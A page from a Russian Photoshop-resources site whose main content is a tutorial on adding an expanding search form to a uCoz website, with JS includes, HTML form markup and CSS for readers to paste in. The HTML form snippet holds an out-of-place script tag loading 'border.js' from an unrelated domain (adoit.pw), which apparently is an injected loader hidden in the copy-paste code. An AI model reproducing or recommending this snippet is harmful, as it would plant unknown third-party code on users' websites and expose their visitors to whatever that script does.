Добро пожаловать в прекрасный мир фотошопа! Здесь можно скачать бесплатно без регистрации только лучшее для Photoshop - кисти, стили, текстуры, градиенты, рамочки, футажи, разнообразные фоны для коллажей и многое другое... :)
Меню сайта

Категории
Скачать Фотошоп
Кисти
Стили
Текстуры, заливки
Фоны, обои
Клипарт
Градиенты
Шаблоны, рамки
PSD Исходники
Экшены
Плагины
Фигуры
Скрап наборы
Шрифты
Вектор
Футажи
Уроки Фотошоп
Программы
Арт, Живопись, Картинки
Анимация
Скрипты для Ucoz

Фото в рамку

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Яндекс цитирования

Форма входа

Наш баннер
    Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте.

    Ваш Дизайн



    I'm on deviantART

    Мы всегда рады Вам

      ---

        Популярное
        Рамка для фото — Всегда обаятельная и неотразимая
        Рамка для фото — Всегда обаятельная и неотразимая
        Subscribe — After Effects Project(Videohive)
        Subscribe — After Effects Project(Videohive)
        Скачать Летняя детская рамка - Маша в первый раз на море
        Скачать Летняя детская рамка - Маша в первый раз на море
        Гранжевые цветные текстуры для Photoshop
        Гранжевые цветные текстуры для Photoshop
        Клипарт в PNG –  Желуди и листья дуба
        Клипарт в PNG – Желуди и листья дуба
        Скачать Обои с прекрасными уголками природы №305
        Скачать Обои с прекрасными уголками природы №305
        Скачать Рамка для фото – Если я знаю, что такое любовь
        Скачать Рамка для фото – Если я знаю, что такое любовь
        Клипарт - Девушки, красивые женщины PNG
        Клипарт - Девушки, красивые женщины PNG
        Семейный календарь на 2013 год - Счастливая семья
        Семейный календарь на 2013 год - Счастливая семья
        videohive Rotor — After Effects Project
        videohive Rotor — After Effects Project

        Главная » 2013 » Август » 11 » Создаём раздвижную форму поиска для uCoz
        14:27
        Создаём раздвижную форму поиска для uCoz
        Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

        Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

        И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

        Код
        <script src="http://pnghosts.ru/js_css/classie.js"></script>
        <script src="http://pnghosts.ru/js_css/uisearch.js"></script>
        <script>
          new UISearch( document.getElementById( 'sb-search' ) );
        </script>


        Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

        Код
        <!-- Поиск по сайту -->  
          <div id="sb-search" class="sb-search">
          <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
          <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
          <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
          </form>  
          </div>  
          <!-- /Поиск по сайту -->


        Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

        Код
        /* Раздвижная форма поиска для uCoz
        ------------------------------------------*/
        .sb-search {
          position: relative;
          margin-top: 10px;
          width: 0%;
          min-width: 32px;
          height: 32px;
          float: right;
          overflow: hidden;
           
          -webkit-transition: width 0.3s;
          -moz-transition: width 0.3s;
          transition: width 0.3s;
          -webkit-backface-visibility: hidden;
        }

        .sb-search-input {
          position: absolute;
          top: 0;
          right: 0;
           
          margin: 0;
          z-index: 10;
          width:300px;
          height: 20px;
          outline: none;
          background: #fff;  
          border: 1px solid #CAD3DA;  
          padding: 5px 32px 5px 20px;
           
          font:11px Verdana,Arial,Helvetica, sans-serif;
          color:#555;  
          border-radius:3px 0px 0px 3px;  
        }

        .sb-search-input::-webkit-input-placeholder {
          color: #efb480;
        }

        .sb-search-input:-moz-placeholder {
          color: #efb480;
        }

        .sb-search-input::-moz-placeholder {
          color: #efb480;
        }

        .sb-search-input:-ms-input-placeholder {
          color: #efb480;
        }

        .sb-icon-search,
        .sb-search-submit {
          position: absolute;
          right: 0;
          top: 0;
          margin: 0;
           
          width: 32px;
          height: 32px;
          display: block;

          line-height: 30px;
          text-align: center;
          cursor: pointer;
        }

        .sb-search-submit {
          background: #fff;
          color: transparent;
          border: none;
          outline: none;
          z-index: -1;
          -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
          filter: alpha(opacity=0);  
          opacity: 0;  
        }

        .sb-icon-search {
          border:none;  
          z-index: 90;
          background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
          -webkit-font-smoothing: antialiased;
          border-radius:3px 3px 3px 3px;  
        }

        .sb-icon-search:before {
          content: "\e000";
        }

        .sb-search.sb-search-open,
        .no-js .sb-search {
          width: 100%;
        }

        .sb-search.sb-search-open .sb-icon-search,
        .no-js .sb-search .sb-icon-search {
          background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
          z-index: 11;
          border-radius:0px 3px 3px 0px;  
        }

        .sb-search.sb-search-open .sb-search-submit,
        .no-js .sb-search .sb-search-submit {
          z-index: 90;
        }


        На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

        Спасибо за внимание!
        Категория: Скрипты для Ucoz | Просмотров: 535 | Добавил: DoG | Рейтинг: 0.0/0
        Всего комментариев: 0
        Добавлять комментарии могут только зарегистрированные пользователи.
        [ Регистрация | Вход ]
        Поделиться

        Поиск

        Новогодние рамки

          Календарь

          Архив записей

          Мини профиль
            Четверг
            18.04.2024
            16:51

            [ Управление профилем ]

            Друзья сайта
             DiZona – все для Photoshop
             Стиль Photoshop
             Фотошо+Я
            I'm on deviantART

            Новости сайта
            Обои с прекрасными уголками природы №312
            Обои с прекрасными уголками природы №312
            Клипарт Рамки вырезы с узорами и звездочками
            Клипарт Рамки вырезы с узорами и звездочками
            Скачать Cherished Memories — After Effects Project
            Скачать Cherished Memories — After Effects Project
            Фотошоп рамка - С 3D эффектом
            Фотошоп рамка - С 3D эффектом
            VideoHive Passion — After Effects Project
            VideoHive Passion — After Effects Project
            Cкачать  Рамка для фото – 5 октября Всемирный день учителя
            Cкачать Рамка для фото – 5 октября Всемирный день учителя
            Красивая Рамка для фото с розами – Первозданный ангельский исток
            Красивая Рамка для фото с розами – Первозданный ангельский исток
            Женская рамка с корзинкой белых роз
            Женская рамка с корзинкой белых роз
            Женская рамка - С красивыми красными цветочками
            Женская рамка - С красивыми красными цветочками
            Скачать Набор из рамки на день рождения и календаря на 2012 год - Восхитительные ромашки
            Скачать Набор из рамки на день рождения и календаря на 2012 год - Восхитительные ромашки

            Шаблоны для фотомонтажа Шаблоны для фотомонтажа
            "Professional"

            - Костюмы
            - Календари
            - Виньетки
            - Обложки на DVD
            - Рамки
            - Клипарты
            - Коллажи


            Copyright MyCorp © 2024
            Создать бесплатный сайт с uCoz